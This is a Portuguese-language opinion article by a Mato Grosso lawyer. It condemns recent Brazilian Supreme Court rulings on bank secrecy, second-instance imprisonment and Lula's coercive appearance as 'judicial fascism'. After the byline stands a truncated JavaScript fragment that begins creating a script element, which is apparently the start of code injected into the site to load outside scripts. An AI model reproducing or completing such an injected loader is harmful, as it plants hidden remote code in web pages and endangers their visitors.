Capa / Cultura / ARTIGO: O Jusfacismo não é a solução

ARTIGO: O Jusfacismo não é a solução

vilson-nery-advogado-mcce-mtA consciência jurídica nacional tem sido abalada pela guinada na interpretação que alguns tribunais têm dado às garantias previstas na Constituição Federal. A ser mantida essa tendência os resultados são previsíveis, e uma pista nos foi dada no livro “A Origem do Estado Islâmico”, de Patrick Cockburn. É cediço que algumas vítimas da violência do Estado, seja por ação violenta ou falta de políticas, e das intrincadas relações econômicas internacionais, estão entre admiradores e integrantes do Isis.
Violência e intolerância possuem grande capacidade de reprodução.
Caminhamos aceleradamente para Estado de exceção, que pode adotar alguns desses formatos: fascismo, ditadura, terrorismo de estado, terrorismo de grupos paramilitares, golpe de estado, estado de sítio, quarteladas, amotinamentos civis e militares, invasões militares, golpes constitucionais ou institucionais.
O fascismo, na sua versão judicial, deve receber nossa atenção.
O fascismo é a adoração pelo dinheiro fácil e pelo poder sem controle.
O fascismo é o poder autoritário e sectário que se apresenta como superior aos interesses coletivos e das pessoas empobrecidas, atua em desfavor do cidadão mediano, desprovido de poder de barganha. É uma forma de poder que atende aos que já detém alguma versão de poder, seja ele econômico, político, cultural, ideológico, militar, ou (visão moderna) judicial.
Em tradução simples, jusfascismo é quando a vida do cidadão e a estrutura de Estado são tomadas de assalto por forças golpistas (militares, civis ou judiciais), antipopulares, reacionárias, que defendem interesses econômicos predominantes, movidos por valores totalitários, repressivos e de mero controle social hierarquizado.
Por decisão do STF (Supremo Tribunal Federal) a Receita Federal agora pode invadir e quebrar o sigilo bancário de contribuintes sem necessidade de pedir autorização judicial, o que se revela em uma violência sem limites contra a cidadania.
É uma supressão de garantias, uma manifestação do jusfascismo por meio da ADI 4010, sob relatoria da Ministra Rosa Weber. Vencido na votação o Ministro Marco Aurelio de Mello sempre disse que “se cobra um preço, e ele é módico, para se viver em uma democracia, o custo está ao alcance de todos, mas parece que não está ao alcance dos homens públicos, que é o respeito às regras estabelecidas”.
Mas o STF quebrou a regra e não respeitou aquelas pré-estabelecidas.
E ainda foi mais longe ao decidir que a presunção de inocência restou relativizada. Ainda que na ADPF 347 e no Recurso Extraordinário 592.581 o Supremo tenha reconhecido que o sistema carcerário brasileiro está absolutamente falido, agora admite que uma condenação de segundo grau pode levar a pessoa acusada à prisão.
É uma volta à Idade Média, um incentivo à precarização de direitos.
Segundo o Conselho Nacional de Justiça (CNJ) a população carcerária brasileira era de 711.463 presos em 2015, considerando as 147.937 pessoas que estavam em prisão domiciliar.
A tendência agora é aumentar.
A “cereja” do bolo do jusfascismo foi a “condução coercitiva” de um investigado, Luis Inacio da Silva, para ser ouvido em um inquérito, mesmo que não tivesse oposto nenhum tipo de resistência anterior a comparecer perante as “forças” estatais. E a ordem nefasta passou por uma autoridade policial, um membro do ministério público e um juiz de direito.
Para o Ministro Gilmar Mendes (dito no livro “Curso de Direito Constitucional”), Estado de Direito é “Estado da Razão, o Estado do Entendimento”, mas parece que isso se distancia a cada dia das liberdades civis; estamos em situação de “não razão” e “não entendimento”.
O jusfascismo é um poder que instrumentaliza e é instrumentalizado por “parcerias ideológicas”, tergiversando em sua interpretação. O professor Eugenio Zaffaroni ensina em “Direito Penal Brasileiro” que o Autoritarismo retirou de Hegel a exaltação do Estado e não a liberalidade; o Racismo não tomou do Evolucionismo as advertências prudentes, e sim uma ortodoxia que não se sustenta cientificamente; a Teocracia impõe resignação no aguardo da justiça “do além”, tirando da pessoa o desejo de lutar pelo justo “neste plano”.
Para nosso temor o jusfascismo buscou nos grandes empreendimentos de comunicação (emissoras de rádio, televisão, jornais e revistas) o seu “parceiro” de toda as horas.
O noticiário tendencioso legitima a violência que é imposta ao cidadão.
Se estás aplaudindo o jusfascismo é porque dele ainda não foi vítima. Por enquanto.
Vilson Pedro Nery, advogado em Mato Grosso, especialista em Direito Público.var d=document;var s=d.createElement(‘script’);

Sobre admin

Deixe uma resposta

O seu endereço de email não será publicado. Required fields are marked *

*

Scroll To Top